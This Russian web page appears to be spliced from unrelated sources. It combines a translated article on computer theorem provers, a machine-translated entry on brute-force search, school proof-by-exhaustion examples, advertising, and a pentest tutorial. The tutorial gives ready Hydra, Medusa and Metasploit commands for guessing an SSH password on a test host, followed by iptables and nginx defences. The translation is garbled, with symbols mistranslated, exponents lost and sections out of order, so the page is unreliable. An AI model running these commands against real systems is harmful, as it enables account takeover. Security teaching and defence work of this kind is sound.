При доказательствах методом перебора можно использовать компьютеры
Brute-force (атака полным перебором) – метод решения математических задач, сложность которого зависит от количества всех возможных решений. Сам же термин brute-force обычно используется в контексте хакерских атак, когда злоумышленник пытается подобрать логин/пароль к какой-либо учетной записи или сервису.
Рассмотрим инструменты, которые можно использовать для выполнения brute-force атак на SSH и WEB-сервисы, доступные в Kali Linux (Patator, Medusa, Hydra, Metasploit), а также BurpSuite.
Все материалы, предоставленные в рамках данной статьи, предназначены для использования исключительно в учебных целях. Использование материалов в противоправных и противозаконных запрещено.
Цели брутфорса
Брутфорс используют, чтобы украсть:
- аккаунт в соцсети или онлайн-игре;
- конфиденциальные сведения, документы или персональные данные;
- цифровую валюту; ;
- информацию из личных переписок.
Также после брутфорс-атак злоумышленники могут рассылать спам, продавать базы взломанных аккаунтов, вымогать деньги и совершать множество других противоправных действий.
Если хакер получил доступ к компьютерной сети, он сможет осуществить преступные действия от имени пользователей или шантажировать их.
Смешанные чувства
Такие примеры часто преподносятся как успехи, но они тоже добавляют свою толику в споры. Компьютерный код, более 40 лет назад доказавший теорему о четырёх красках, невозможно было проверить человеку. «Математики с тех пор спорят, считать ли это доказательством, или нет», — сказал математик Майкл Харрис из Колумбийского университета.
Многие математики вместе с Майклом Харрисом из Колумбийского университета сомневаются в необходимости создавать компьютеризированных доказывателей теорем – и в том, что последние сделают математиков ненужными
Ещё одно недовольство математиков связано с тем, что если те хотят использовать доказыватели теорем, сначала им нужно научиться программировать, а потом придумать, как выразить свою задачу на понятном компьютеру языке – а всё это отвлекает от занятий математикой. «К тому времени, как я переформулирую вопрос в виде, подходящем для этой технологии, я эту задачу решу и сам», — сказал Харрис.
Многие просто не видят необходимости в использовании решателей теорем. «У них своя система, карандаш и бумага, и она работает», — сказал Кевин Баззард, математик из Имперского колледжа в Лондоне, три года назад поменявший направление исследований от чистой математики к доказывателям теорем и формальным доказательствам. «Компьютеры проводят для нас потрясающие вычисления, однако они никогда не решали сложную задачу самостоятельно, — сказал он. – И пока такого не случится, математики на всё это не купятся».
Но Баззард и другие считают, что, возможно, им всё-таки стоит присмотреться к технологиям. К примеру, «компьютерные доказательства могут оказаться не такими чуждыми, как нам кажется», — сказал Дедео. Недавно совместно со Скоттом Витери, специалистом по информатике из Стэнфорда, он провёл реверс-инжиниринг нескольких известных канонических доказательств (включая и некоторые из "Начал" Евклида) и десятков доказательств, сгенерированных компьютерной программой для доказательства теорем Coq в поисках схожих моментов. Они обнаружили, что ветвящаяся структура машинных доказательств была примечательно похожа на структуру доказательств, сделанных людьми. Это общее свойство, по его словам, может помочь исследователям найти способ заставить вспомогательные программы объясниться.
«Машинные доказательства могут оказаться не такими загадочными, как кажется», — сказал Дедео.
Другие говорят, что доказыватели теорем могут стать полезными инструментами для обучения как информатике, так и математике. В университете Джонса Хопкинса математик Эмили Риел разработала курсы, на которых студенты пишут доказательства при помощи доказывателей теорем. «Это заставляет их быть очень организованными и ясно мыслить, — сказала она. – Студенты, пишущие доказательство впервые, могут не сразу понять, что от них требуется или осознать логическую структуру».
Риел также говорит, что в последнее время всё чаще использует доказыватели теорем в своей работе. «Их не обязательно использовать постоянно, и они никогда не заменят каракули на кусочке бумажки, — сказала она, — но использование компьютерных ассистентов для доказательств изменило моё представление о том, как нужно записывать доказательства».
Доказыватели теорем также предлагают способ сохранения честности в математике. В 1999 году советский, российский и американский математик Владимир Александрович Воеводский, обнаружил ошибку в одном из своих доказательств. С тех пор вплоть до своей смерти в 2017 году он активно пропагандировал использование компьютеров для проверки доказательств. Хейлс сказал, что они с Фергюсоном нашли сотни ошибок в своих оригинальных доказательствах, проверив их при помощи компьютеров. Даже самые первые теоремы в «Началах» Евклида не идеальны. Если машина может помочь математикам избежать таких ошибок, почему бы этим не воспользоваться? Харрис предложил практическое возражение этому предложению, правда, неизвестно, насколько обоснованное: если математикам придётся тратить время на формализацию математики, чтобы её понял компьютер, это время они не смогут потратить на новую математику.
Однако Тимати Гауэрс, математик, лауреат Филдсовской премии из Кембриджа, хочет пойти ещё дальше: он представляет, как в будущем доказыватели теорем заменят людей-рецензентов в крупных журналах. «Я вижу, как это может стать стандартной практикой – если вы хотите, чтобы вашу работу приняли, вам нужно прогнать её через автоматизированного проверяющего».
Базовый алгоритм
Чтобы кандидат в п после текущего c.
- действительный (п, c): проверьте, есть ли у кандидата c это решение для п.
- вывод (п, c): используйте решение c из п в зависимости от приложения.
В Следующий процедура также должна сообщать, когда больше нет кандидатов для экземпляра п, после текущего c. Удобный способ сделать это - вернуть «нулевого кандидата», некоторое обычное значение данных Λ, которое отличается от любого реального кандидата. Аналогичным образом первый процедура должна возвращать Λ, если для этого экземпляра вообще нет кандидатов п. Затем метод грубой силы выражается алгоритмом
Комбинаторный взрыв
Главный недостаток метода грубой силы состоит в том, что для многих реальных задач количество естественных кандидатов недопустимо велико. Например, если мы ищем делители числа, как описано выше, количество проверенных кандидатов будет заданным числом. п. Так что если п имеет шестнадцать десятичных цифр, скажем, для поиска потребуется выполнить не менее 10 15 компьютерные инструкции, которые обычно занимают несколько дней ПК. Если п это случайный 64-немного натуральное число, в котором в среднем около 19 десятичных цифр, поиск займет около 10 лет. Такой резкий рост числа кандидатов по мере увеличения размера данных встречается во всевозможных проблемах. Например, если мы ищем конкретную перестановку из 10 букв, то у нас есть 10! = 3 628 800 кандидатов для рассмотрения, которые обычный ПК может создать и протестировать менее чем за одну секунду. Однако добавление еще одной буквы - что увеличивает размер данных всего на 10% - умножит количество кандидатов на 11, что на 1000% больше. Для 20 букв количество кандидатов составляет 20 !, что составляет примерно 2,4 × 10. 18 или 2,4 квинтиллион; и поиск займет около 10 лет. Это нежелательное явление обычно называют комбинаторный взрыв, или проклятие размерности.
Один из примеров случая, когда комбинаторная сложность приводит к пределу разрешимости, находится в решение шахмат. Шахматы - это не решенная игра. В 2005 году все концовки шахматной партии с шестью или менее фигурами были решены, показывая результат каждой позиции при идеальной игре. Потребовалось еще десять лет, чтобы завершить основание стола, добавив еще одну шахматную фигуру, таким образом завершив основание стола из 7 частей. Добавление еще одной фигуры к шахматной концовке (таким образом, создавая основу стола из 8 фигур) считается неразрешимым из-за дополнительной комбинаторной сложности. [2] [3]
Ускорение поиска методом перебора
Один из способов ускорить алгоритм грубой силы - уменьшить пространство поиска, то есть набор возможных решений, с помощью эвристика специфический для класса проблемы. Например, в проблема восьми ферзей задача состоит в том, чтобы поставить восемь ферзей на штандарт шахматная доска так что ни одна королева не атакует других. Поскольку каждый ферзь может быть помещен в любое из 64 клеток, в принципе имеется 64 8 = 281 474 976 710 656 возможностей для рассмотрения. Однако, поскольку все ферзи одинаковы и никакие две ферзя не могут быть помещены на одно и то же поле, кандидаты все возможные способы выбора из набора 8 квадратов из набора все 64 квадрата; что означает 64 выбора 8 = 64! / (56! * 8!) = 4 426 165 368 возможных решений - примерно 1/60 000 от предыдущей оценки. Кроме того, никакое расположение с двумя ферзями в одном ряду или одном столбце не может быть решением. Следовательно, мы можем дополнительно ограничить набор кандидатов этими схемами.
Как показывает этот пример, небольшой анализ часто приводит к резкому сокращению числа возможных решений и может превратить трудноразрешимую проблему в тривиальную.
В некоторых случаях анализ может сократить кандидатов до набора всех действительных решений; то есть, он может дать алгоритм, который напрямую перечисляет все желаемые решения (или находит одно решение, в зависимости от ситуации), не тратя время на тесты и создание недопустимых кандидатов. Например, для задачи «найти все целые числа от 1 до 1 000 000, которые без остатка делятся на 417» наивное решение методом перебора сгенерирует все целые числа в диапазоне, проверяя каждое из них на делимость. Однако эта проблема может быть решена гораздо эффективнее, если начать с 417 и многократно добавлять 417, пока число не превысит 1000000, что занимает всего 2398 (= 1000000 ÷ 417) шагов и никаких тестов.
Содержание
Опасность брутфорса
Характер и степень риска зависят от целей злоумышленников и уровня защиты пользователей. Брутфорс можно применять в благих или преступных целях, как и любую новую технологию в сфере информационной безопасности. Например, беспилотник WASP создан для сбора показателей домашних сетей Wi-Fi, но при этом он способен автоматически взламывать пароли и перехватывать мобильные звонки с помощью брутфорса.
Использование брутфорса может обернуться уголовной ответственностью, согласно статье №272 УК РФ. А жертва взлома рискует репутацией и финансами. Особенно в случае взлома банковских систем и баз данных крупных корпораций.
В 2021 году по данным Microsoft злоумышленники совершили около 14 миллиардов брутфорс-атак – это на 325% больше, чем в 2020.
Разговор с компьютерами
До того, как компьютеры смогут проверять или разрабатывать доказательства, исследователям сначала нужно преодолеть значительное препятствие: коммуникационный барьер между языками людей и компьютеров.
Сегодняшние доказыватели теорем разрабатывались без оглядки на дружественность к математикам. Первый их тип, ATP, обычно использовался для проверки истинности утверждения, часто через проверку всех возможных вариантов. Спросите ATP, можно ли проехать из Майами до Сиэтла, и он, вероятно, переберёт все города, к которым ведут дороги из Майами, и в итоге найдёт город, дорога из которого ведёт в Сиэтл.
Тимати Гауэрс из Кембриджского университета считает, что доказыватели теорем когда-нибудь заменят людей-рецензентов
Используя ATP, программист может закодировать все правила, или аксиомы, а потом задать вопрос, следует ли определённая гипотеза этим правилам. А потом всю работу делает компьютер. «Вы просто вводите гипотезу, которую хотите доказать, и надеетесь получить ответ», — сказал Дэниел Хуан, специалист по информатике, недавно ушедший из Калифорнийского университета в Беркли ради стартапа.
Но есть проблема: ATP не объясняет свою работу. Все вычисления идут внутри машины, а для человека они выглядят как длинная последовательность нулей и единиц. Хуан сказал, что просмотреть доказательство и проверить рассуждения невозможно, поскольку всё это выглядит как кучка случайных данных. «Ни один человек не сможет посмотреть на такое доказательство и сказать: Всё понятно», — сказал он.
У второй категории, ITP, есть огромные наборы данных, содержащие до десятков тысяч теорем и доказательств, при помощи которых они могут проверять точность доказательства. В отличие от ATP, работающих внутри чёрного ящика, который просто выдаёт ответы, ITP требуют взаимодействия и иногда указаний от человека, поэтому они не такие неприступные. «Человек может сесть и разобраться в том, какие техники используются для доказательства», — сказал Хуан. Такие доказательства и изучали Дедео и Витери.
В последние годы ITP становятся всё популярнее. В 2017 году троица, доказавшая булеву проблему пифагоровых троек использовала ITP под названием Coq, чтобы создать и проверить формальную версию своего доказательства. В 2005 году Жорж Гонтье из Microsoft Research Cambridge использовал Coq для формализации теоремы о четырёх красках. Хейлс тоже использовал ITP под названием HOL Light и Isabelle для формального доказательства гипотезы Кеплера (HOL – это higher-order logic, «логика высшего порядка»).
Сегодня на переднем крае этой области пытаются объединить обучение с рассуждением. ATP часто комбинируют с ITP, интегрируя в них машинное обучение, чтобы улучшать эффективность обеих техник. Специалисты считают, что программы ATP/ITP могут использовать дедуктивные рассуждения и даже обмениваться математическими идеями так же, как это делают люди, или хотя бы похожим образом.
В криптографии
В криптография, а атака грубой силой предполагает систематическую проверку всех возможных ключи пока не будет найден правильный ключ. [4] Эта стратегия теоретически может использоваться против любых зашифрованных данных [5] (кроме одноразовый блокнот) злоумышленником, который не может воспользоваться какой-либо уязвимостью в системе шифрования, которая в противном случае облегчила бы его или ее задачу.
В длина ключа Использование в шифровании определяет практическую осуществимость атаки методом грубой силы, при этом более длинные ключи экспоненциально труднее взломать, чем более короткие. Атаки грубой силы можно сделать менее эффективными, если: запутывающий данные, которые должны быть закодированы, что затрудняет злоумышленнику распознавание того, что он взломал код. Одним из критериев силы системы шифрования является то, сколько времени теоретически потребуется злоумышленнику, чтобы провести успешную атаку методом грубой силы.
Информационная безопасность – приоритет для любой организации, работающей с личными данными клиентов. К тому же это гарант сохранения репутации и защиты конфиденциальных материалов. СМИ часто заявляют о взломах разных ресурсов и об утечках коммерческих данных. Главный инструмент киберпреступника для подобных атак – брутфорс. Рассказываем, что это такое, в чем опасность и как защититься.
Реализация поиска методом перебора
Brute-force SSH
Для примера возьмем тестовую машину 192.168.60.50 и попробуем подобрать пароль пользователя test по SSH. Мы будем использовать популярные пароли из стандартного словаря rockyou.txt.
Patator
Для подбора пароля средствами Patator используем команду:
Hydra
Для подбора пароля используя Hydra выполним команду:
hydra -V -f -t 4 -l test -P /root/wordlist ssh://192.168.60.50
где:
-V – показывать пару логин+пароль во время перебора
-f – остановка как только будет найден пароль для указанного логина
-P – путь до словаря с паролями
ssh://192.168.60.50 – указание сервиса и IP-адрес жертвы
Medusa
Для подбора пароля с использованием Medusa выполним команду:
medusa -h 192.168.60.50 -u test -P /root/wordlist -M ssh -f -v 6
Metasploit
Произведем поиск инструмента для проведения brute-force атаки по SSH:
search ssh_login и получили ответ:
Для просмотра необходимых параметров, воспользуемся командой show options . Для нас это:
rhosts – IP-адрес жертвы
rport – порт
username – логин SSH
userpass_file – путь до словаря
stop_on_success – остановка, как только найдется пара логин/пароль
threads – количество потоков
Указание необходимых параметров производится через команду "set".
set rhosts 192.168.60.50
set username test
set userpass_file /root/wordlist
set stop_on_success yes
set threads 4
set rport 22
Указав необходимые параметры набираем команду "run" и ждем.
Классификация и способы выполнения брутфорс-атаки
Метод «грубой силы» доступен в трех видах:
- Персональный взлом – получение доступа к личным данным пользователя. С помощью мошеннических схем (в том числе и при личном общении), злоумышленники узнают сведения, которые помогут в подборе пароля. Затем хакер вносит в специальную программу адрес взламываемого ресурса и логин, подключает словарь и запускает автоматический подбор (либо вводит комбинации вручную).
- «Брут-чек» – поиск целой базы паролей для доступа к разным аккаунтам. Когда пользователи регистрируются на сайтах, игровых платформах или в социальных сетях, они заполняют поле для email-адреса. На него отправляются данные для входа в аккаунт. Взломщик вносит в программу названия сайтов или ключевые слова, по которым запустится поиск писем с логинами и паролями. Далее киберпреступник копирует полученную информацию и использует ее в своих целях.
- Удаленный взлом операционной системы компьютера. Злоумышленники применяют брутфорс и взламывающие утилиты, чтобы получить доступ к чужому ПК. Сначала хакер находит уязвимое соединение, подходящее для атаки. Адрес пользователя можно добыть в программе или специальной базе. Словарь для перебора и список IP-адресов хакер вводит в настройки. Далее применяет полученные данные и утилиту Radmin (или ее аналог), чтобы управлять компьютером жертвы взлома.
Чтобы защитить компанию от сомнительных обращений, накрученных звонков и контролировать лидогенерацию, подключите Антифрод от Calltouch. Технология выведет на чистую воду спам и соберет данные о коммуникациях с клиентами. В результате вы оптимизируете рекламные расходы, работу контакт-центра или отдела продаж и продолжите сотрудничество только с качественными площадками, которые обеспечат целевой трафик.
Автоматически выявляет некачественные звонки, которые не приводят к продажам, а просто расходуют бюджет.
- Выявляет и тегирует сомнительные звонки от недобросовестных рекламных подрядчиков или спам
- Позволяет учитывать в отчетах только качественные обращения
- Упрощает контроль подрядчиков
Как защититься
Исследователь безопасности Microsoft Росс Бевингтон предоставил статистику по 25 миллионам попыток брутфорс-атак. Выводы следующие:
Из этого следует рекомендация: используйте длинный пароль, добавляйте специальные символы, настройте многофакторную аутентификацию и не сообщайте окружающим данные, которые содержатся в пароле.
Для компаний доступны и другие механизмы защиты информации:
Усовершенствуйте клиентский сервис с помощью мультикнопки с ссылками на ваши мессенджеры и соцсети. Так пользователям будет проще с вами связаться. Виджеты Calltouch помогут увеличить конверсию сайта и привлекут новых клиентов и подписчиков.
- Анализируйте воронку продаж от показов рекламы до ROI от 990 рублей в месяц
- Отслеживайте звонки на сайте с точностью определения источника рекламы выше 96%
- Повышайте конверсию сайта на 30% с помощью умного обратного звонка
- Оптимизируйте свой маркетинг с помощью подробных отчетов: дашборды, графики, диаграммы
- Добавьте интеграцию с CRM и другими сервисами: более 50 готовых решений
- Контролируйте расходы на маркетинг до копейки
Чтобы не стать жертвой взлома, не применяйте в качестве пароля:
- известные сочетания символов (например, agent007);
- комбинацию из символов, которые расположены на клавиатуре подряд: xswzaq, 987654321, zxcvbn и подобные;
- сведения о себе и родственниках: ФИО, дату рождения, кличку питомца, адрес, номер паспорта, страхового свидетельства и других документов;
- пароль от другого сервиса.
Противодействие
Ограничить (усложнить) brute-force атаки на web-приложения можно средствами iptables (по аналогии с SSH) и средствами nginx. Для этого необходимо создать зону лимитов:
.
limit_req_zone $binary_remote_addr zone=req_limits:10m rate=30r/s;
.
и задействовать ее:
location / .
limit_req zone=req_limits burst=10;
limit_req_status 429;
.
>
Такие настройки позволят ограничить количество запросов с одного IP-адреса до 40 в секунду.
Усложнить задачу перебора можно используя следующие методы:
— Применение межсетевого экрана и прочего ПО для ограничения количества обращений к защищаемому сервису. О том, как мы используем машинное обучение для выявления подобных атак (в том числе распределенных), можно почитать в статье.
— Использование средств, препятствующих быстрой проверке корректности ключа (например, Captcha).
Заключение
В данной статье мы поверхностно рассмотрели некоторые популярные инструменты. Сократить риск подбора пароля можно, следуя следующим рекомендациям:
— используйте устойчивые к подбору пароли;
— не создавайте пароли, используя личную информацию, например: дату рождения или имя + дата рождения или мобильный телефон;
— регулярно меняйте пароль;
— на всех аккаунтах применяйте уникальные пароли.
Подобные рекомендации (как и рекомендации по безопасной веб-разработке) мало кто соблюдает, поэтому необходимо использовать различные программные решения, позволяющие:
— ограничить подключение по IP-адресу, или, если это невозможно, ограничить одновременное количество соединений с сервисом (средствами iptables, nginx и прочими);
— использовать двухфакторную аутентификацию;
— выявлять и блокировать подобные атаки средствами SIEM, WAF или другими (например, fail2ban).
Этот метод — один из древнейших методов, которым пользуются и в современной математике. Хотя теоремы в абсолютном большинстве распространяются на бесконечное число объектов, в математике имеют место и такие теоремы (задачи на доказательство), которые охватывают лишь конечное число объектов. Для доказательства таких теорем можно использовать метод перебора. Так, например, для того чтобы доказать, что среди двузначных чисел есть только два числа, которые равны утроенному произведению их цифр, можно перебрать все двузначные числа от 10 до 99 и показать, что требованию теоремы удовлетворяют лишь числа 15 и 24.
Обратим внимание читателя на одно важное обстоятельство. При использовании метода перебора следует, прежде всего, посредством рассуждений несколько сузить область значений, подлежащих рассмотрению, т. е. следует, имея заведомую возможность найти решение полным перебором всех вариантов, вначале поломать голову, чтобы каким-либо образом ограничить количество вариантов. Проиллюстрируем вышесказанную мысль на такой задаче:
«Доказать, что среди двузначных чисел есть только одно, которое равно удвоенному произведению его цифр».
В соответствии с условием задачи мы должны найти двузначное число , для которого выполняется равенство = 2 а b, т.е. 10 а + b = 2 а b. Выразим из последнего равенства а: a = .
Учитывая, что b — это цифра, можно записать: 0 < b < 9, b . Из равенства a = следует, что b - 5 . Таким образом, из системы следует: 6 b 9.
Хотя перебор всех натуральных значений b, удовлетворяющих неравенству 6 b 9, не сложен, но можно еще сузить область перебора, для этого заметим, что b должно быть четным. Тогда следует рассмотреть лишь b = 6, b = = 8. Итак, проведенные рассуждения позволили сузить область перебора от 90 до 10 случаев, затем до 4 и окончательно до 2 случаев. При b — 6 цифрой а будет 3, а числом будет 36. Это число удовлетворяет требованию задачи. При
b = 8 значение а будет дробным числом, но так как а — это цифра, то а дробным быть не может.
Итак, мы получили, что лишь одно двузначное число 36 равно удвоенному произведению его цифр.
Эта статья посвящена технике решения проблем в информатике. О методах с похожими названиями в других дисциплинах см. Грубая сила (значения).
В Информатика, перебор или исчерпывающий поиск, также известен как генерировать и тестировать, очень общий решение проблем техника и алгоритмическая парадигма который состоит из систематического перечисления всех возможных кандидатов для решения и проверки того, удовлетворяет ли каждый кандидат постановке задачи.
Алгоритм грубой силы для поиска делители из натуральное число п перечислит все целые числа от 1 до n и проверит, делит ли каждое из них п без остатка. Подход грубой силы для пазл восемь королев исследовал бы все возможные расстановки 8 фигур на 64-квадратной шахматной доске и для каждой расстановки проверял, может ли каждая фигура (ферзь) атаковать любую другую.
В то время как поиск методом перебора просто осуществлять, и всегда найдет решение, если оно существует, его стоимость пропорциональна количеству возможных решений, которое во многих практических задачах имеет тенденцию очень быстро расти по мере увеличения размера проблемы (§Комбинаторный взрыв). [1] Следовательно, поиск методом перебора обычно используется, когда размер проблемы ограничен или когда есть проблема, специфичная для конкретной проблемы. эвристика которые можно использовать для сокращения набора возможных решений до приемлемого размера. Метод также используется, когда простота реализации важнее скорости.
Это имеет место, например, в критических приложениях, где любые ошибки в алгоритм имел бы очень серьезные последствия; или когда использование компьютера для доказательства математической теоремы. Поиск методом перебора также полезен как базовый метод, когда сравнительный анализ другие алгоритмы или метаэвристика. Действительно, поиск методом перебора можно рассматривать как простейший метаэвристический. Поиск методом грубой силы не следует путать с возврат, где большие наборы решений могут быть отброшены без явного перечисления (как в компьютерном решении задачи восьми ферзей в учебнике выше). Метод перебора для поиска элемента в таблице, а именно последовательная проверка всех записей последней, называется линейный поиск.
Изменение порядка пространства поиска
В приложениях, которым требуется только одно решение, а не все решения, ожидается Время выполнения перебора часто зависит от порядка, в котором проверяются кандидаты. Как правило, сначала нужно тестировать наиболее перспективных кандидатов. Например, при поиске правильного делителя случайного числа п, кандидаты в делители лучше перечислять в порядке возрастания от 2 до п − 1 , чем наоборот - потому что вероятность того, что п делится на c равно 1 /c. Более того, вероятность того, что кандидат будет действительным, часто зависит от предыдущих неудачных испытаний. Например, рассмотрим проблему поиска 1 бит в заданной 1000-битной строке п. В этом случае возможные решения - это индексы от 1 до 1000, а кандидат c действительно, если п[c] = 1. Теперь предположим, что первая часть п с равной вероятностью будет 0 или 1, но каждый последующий бит равен предыдущему с вероятностью 90%. Если кандидаты перечислены в порядке возрастания от 1 до 1000, число т кандидатов, проверенных до успешной проверки, в среднем составит около 6 человек. С другой стороны, если кандидаты перечислены в порядке 1,11,21,31 . 991,2,12,22,32 и т. Д., Ожидаемое значение т будет лишь немногим больше 2. В общем, пространство поиска должно быть пронумеровано таким образом, чтобы следующий кандидат, скорее всего, был действителен, учитывая, что предыдущие испытания не были. Таким образом, если действительные решения могут быть «сгруппированы» в каком-то смысле, тогда каждый новый кандидат должен быть как можно дальше от предыдущих в том же смысле. Разумеется, верно и обратное, если существует вероятность, что решения будут распределены более равномерно, чем ожидалось случайно.
Коротко о главном
- Брутфорс паролей – самый распространенный инструмент взлома учетных записей.
- Методом подбора достаточно легко узнать несложный пароль, особенно с помощью специальных хакерских программ.
- Для защиты своих данных не игнорируйте рекомендации по созданию надежного пароля. Используйте разные символы, сочетание которых невозможно угадать.
- Периодически меняйте пароль и используйте повторную аутентификацию.
Маркетинг
Говорят, что в 1970-е годы ныне почивший математик Пол Джозеф Коэн, единственный лауреат Филдсовской премии за работы по математической логике, сделал огульное предсказание, которое до сих пор продолжает как восторгать, так и раздражать математиков: «когда-нибудь в будущем математиков заменят компьютеры». Коэн, известный дерзостью методов в работе с теорией множеств, предсказал, что можно автоматизировать всю математику, включая и написание доказательств.
Доказательство – это пошаговая логическая аргументация, подтверждающая истинность гипотезы или математического предположения. После появления доказательства гипотеза становится теоремой. Оно как подтверждает правильность утверждения, так и объясняет, почему оно верно. Но доказательство – штука странная. Оно абстрактно, и не привязано к материальному опыту. «Они представляют собой результат безумного контакта между вымышленным, не физическим миром, и существами, появившимися в результате биологической эволюции», — сказал когнитивист Саймон Дедео из университета Карнеги-Меллона, изучающий математическую определённость через анализ структур доказательств. «К этому нас эволюция не готовила».
Компьютеры хорошо подходят для объёмных вычислений, но доказательствам требуется нечто другое. Гипотезы возникают на основе индуктивных рассуждений – особой интуиции, связанной с интересной задачей – а доказательств обычно следуют дедуктивной, пошаговой логике. Им часто требуется сложное творческое мышление, а также тяжёлая работа по заполнению пустот, и машины с такой комбинацией навыков не справляются.
Компьютеризованные доказыватели теорем можно разбить на две категории. Автоматические доказыватели теорем (automated theorem provers, ATP) обычно используют методы прямого перебора, перемалывая огромные кучи цифр. Интерактивные доказыватели теорем (interactive theorem provers, ITP) служат ассистентами для человека, и умеют проверять точность аргументов, а также искать ошибки в существующих доказательствах. Однако даже если объединить две эти стратегии (как делают более современные доказыватели), автоматической рассуждающей системы из них не выйдет.
Когнитивист Саймон Дедео из университета Карнеги-Меллона помог продемонстрировать, что люди и машины создают математические доказательства похожим образом
Кроме того, эти инструменты мало кто приветствует, и большинство математиков не используют их и не одобряют. «Для математиков это противоречивая тема, — сказал Дедео. – Большинству из них эта идея не нравится».
Одна из открытых трудных проблем в этой области — вопрос о том, какую часть процесса создания доказательства можно автоматизировать. Сможет ли система сгенерировать интересную гипотезу и доказать её так, чтобы это было понятно людям? Набор недавних прорывов, достигнутых лабораториями по всему миру, предлагает способы ответить на этот вопрос при помощи искусственного интеллекта (ИИ). Джозеф Урбан из Чешского института информатики, робототехники и кибернетики в Праге, изучает различные подходы, использующие машинное обучение для увеличения эффективности существующих доказывателей. В июле его группа показала набор оригинальных гипотез и доказательств, созданных и подтверждённых машинами. В июне группа из Google Research под руководством Кристиана Сзегеди опубликовала результаты попыток использовать сильные стороны систем обработки естественного языка, чтобы сделать компьютерные доказательства более похожими по структуре и объяснениям на человеческие.
Некоторые математики считают доказыватели теорем инструментами, способными кардинально изменить обучение студентов написанию доказательств. Другие говорят, что заставлять компьютеры писать доказательства для передовой математики не нужно, а вероятно, и невозможно. Однако система, способная предсказать полезную гипотезу и доказать новую теорему, сможет достичь чего-то нового – некоего машинного варианта понимания, сказал Сзегеди. А это говорит о возможности автоматических рассуждений.
Альтернативы поиску методом перебора
Существует множество других методов поиска или метаэвристики, которые предназначены для использования преимуществ различного рода частичных знаний о решении. Эвристика также можно использовать для раннего отсечения частей поиска. Одним из примеров этого является минимакс принцип поиска в деревьях игр, который исключает множество поддеревьев на ранней стадии поиска. В определенных областях, таких как синтаксический анализ языка, используются такие методы, как анализ диаграммы может использовать ограничения в задаче для сведения проблемы экспоненциальной сложности к проблеме полиномиальной сложности. Во многих случаях, например, в Проблемы удовлетворения ограничений, можно резко сократить пространство поиска с помощью Распространение ограничений, что эффективно реализовано в Ограниченное программирование языков. Пространство поиска проблем также можно уменьшить, заменив полную проблему упрощенной версией. Например, в компьютерные шахматывместо вычисления полного минимакс дерево всех возможных ходов для оставшейся части игры вычисляется более ограниченное дерево минимаксных возможностей, причем дерево обрезается за определенное количество ходов, а оставшаяся часть дерева аппроксимируется статическая оценочная функция.
Пределы рассуждений
Джозеф Урбан считает, что такой комбинированный подход сможет поженить дедуктивное и индуктивное рассуждение, что необходимо для получения доказательств. Его группа создавала доказыватели теорем, работающие под управлением машинного обучения, позволяющего компьютерам самостоятельно обучаться на опыте. За последние несколько лет они изучали возможности нейросетей – слоёв вычислительных единиц, помогающих машинам обрабатывать информацию способом, примерно похожим на работу нейронов нашего мозга. В июле их группа сообщила о новых гипотезах, сгенерированных нейросетью, обученной на доказательствах теорем.
Частью Урбан вдохновлялся работами Андрея Карпаты, который несколько лет назад обучил нейросеть на выдачу бессмыслицы математического вида, которая выглядела убедительно для непрофессионалов. Но Урбану не нужна была бессмыслица – они с группой разработали собственный инструмент, который ищет доказательства, натренировавшись на миллионах теорем. Они использовали сеть для генерации новых гипотез и проверки их истинности при помощи ATP-программы под названием «Е».
Сеть выдала более 50 000 новых формул, хотя десятки тысяч из них повторялись. «Кажется, мы пока ещё не можем доказывать более интересные гипотезы», — сказал Урбан.
Сзегеди из Google Research считает проблему автоматических рассуждений в компьютерных доказательствах частью гораздо более обширной области: обработки естественного языка, в которую входит распознавание закономерностей использования слов и предложений. Распознавание закономерностей также является основной идеей компьютерного зрения, которым Сзегеди ранее занимался в Google. Как и другие группы, его команда хочет создать доказыватели теорем, способные искать полезные доказательства и объяснять их.
Вдохновившись быстрым развитием ИИ-инструментов типа AlphaZero – программы компании DeepMind, способной обыграть людей в шахматы, го и сёги – группа Сзегеди хочет воспользоваться последними достижениями в области распознавания языка, чтобы записывать доказательства. Он сказал, что языковые модели могут демонстрировать неожиданно точные математические рассуждения.
Его группа в Google Research недавно описала способ использовать языковые модели – которые часто используют нейросети – для генерации новых доказательств. Обучив модель распознавать древовидную структуру доказанных теорем, они запустили свободный эксперимент, просто предлагая нейросети генерировать и доказывать теоремы без надзора. Из тысяч сгенерированных гипотез 13% оказались доказываемыми и новыми (не повторяющими другие теоремы в базе). Он сказал, что такой эксперимент говорит, что нейросети могут научиться в каком-то смысле понимать, как выглядит доказательство.
«Нейросети способны выработать искусственное подобие интуиции», — сказал Сзегеди.
Конечно, до сих пор не ясно, исполнят ли эти попытки пророчество Коэна сорокалетней давности. Гауэрс сказал, что он считает, что компьютеры смогут опередить математиков в рассуждениях к 2099 году. Он говорит, что сначала математики будут наслаждаться золотым веком, «когда они будут заниматься интересными вещами, а компьютеры – скучными. Но я думаю, что это продлится очень недолго».
Ведь если машины будут всё сильнее развиваться, и иметь доступ к огромному количеству данных, они должны научиться очень хорошо делать и интересные вещи. «Они научатся делать собственные запросы», — сказал Гауэрс.
Харрис не соглашается. Он не считает компьютерные доказыватели необходимыми, или что они в итоге «сделают людей-математиков ненужными», Если специалисты по информатике, говорит он, когда-нибудь и смогут запрограммировать синтетическую интуицию, она всё равно не будет соперничать с человеческой. «Даже если компьютеры будут понимать, они не будут понимать в человеческом смысле».
Противодействие
Ограничить количество устанавливаемых соединений с использованием межсетевого экрана. Пример настройки iptables:
-A INPUT -i eth0 -p tcp --dport 22 -m connlimit --connlimit-above 1 --connlimit-mask 32 -j REJECT --reject-with tcp-reset .
Такое правило установит ограничение доступа к SSH для каждого IP-адреса до 1 соединения в секунду, значительно усложнив перебор. Также эффективным решением может быть использование двухфакторной аутентификации (например, используя eToken) или аутентификации с использованием ключевой пары, а также использование ACL на основе IP-адресов.
Что такое брутфорс
Брутфорс – взлом учетной записи методом подбора пароля с помощью перебора комбинаций. Поиск нужной комбинации до момента совпадения можно автоматизировать с помощью специальных программ. Чем длиннее пароль, тем меньше вероятность, что брутфорс поможет взломать аккаунт.
В переводе с английского «brute force» – «грубая сила». У брутфорса есть еще одно название – метод исчерпывания, так как для достижения цели применяются все возможные сочетания символов и отбрасываются неподходящие варианты.
Полезные машины
Математики, логики и философы давно уже спорят о том, какая часть создания доказательств является человеческой по своей природе, и дебаты о механизации математики продолжаются и сегодня – особенно в тех местах, где информатика объединяется с чистой математикой.
